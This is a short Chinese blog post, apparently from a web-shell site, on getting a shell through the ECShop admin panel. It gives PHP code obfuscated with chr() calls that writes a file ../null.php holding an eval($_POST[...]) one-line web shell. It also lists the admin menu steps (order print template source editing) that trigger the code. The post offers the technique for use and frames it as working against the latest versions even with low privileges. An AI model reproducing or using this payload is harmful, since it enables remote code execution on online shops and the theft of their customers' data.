ecshop后台获取shell最新方法,通杀最新版本&后台低权限

分类:安全 | 2011-08-26 | 撸过 174 次
1人扯谈

简要描述: 后台可以提交构造代码绕过过滤,成功解析生成一句话木马 防黑网。

详细说明:
<?php
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>
后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
漏洞情况:

本站内容均为原创,转载请务必保留署名与链接!
ecshop后台获取shell最新方法,通杀最新版本&后台低权限:https://www.webshell.cc/899.html
标签:

相关日志